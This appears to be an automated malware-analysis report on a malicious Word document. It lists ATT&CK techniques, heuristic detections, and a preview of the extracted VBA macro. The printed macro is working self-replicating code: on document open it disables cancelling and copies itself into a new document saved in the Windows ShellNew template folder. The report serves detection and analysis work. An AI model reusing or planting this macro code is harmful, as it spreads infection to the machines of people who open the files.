MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a VBA macro that executes upon opening the document, as indicated by the Document_Open heuristic. This macro utilizes CreateObject to instantiate a Word.Application object, adds VBA code to a new document, and saves it as 'C:\Windows\ShellNew\Winword8.doc'. This suggests a malicious document designed to drop and execute further payloads.
Heuristics 4
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 713 bytes |
SHA-256: aeac0d5f1c7edbd80dec94312c46f84ed03e66250191517afe357eb43b65d8e2 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Application.EnableCancelKey = wdCancelDisabled
Set Wordobj = CreateObject("Word.Application")
I = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines)
Wordobj.Documents.Add
Wordobj.ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromString I
Wordobj.ActiveDocument.SaveAs "C:\Windows\ShellNew\Winword8.doc", , , , 0
Wordobj.Quit
End Sub
'lesbian_sex
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.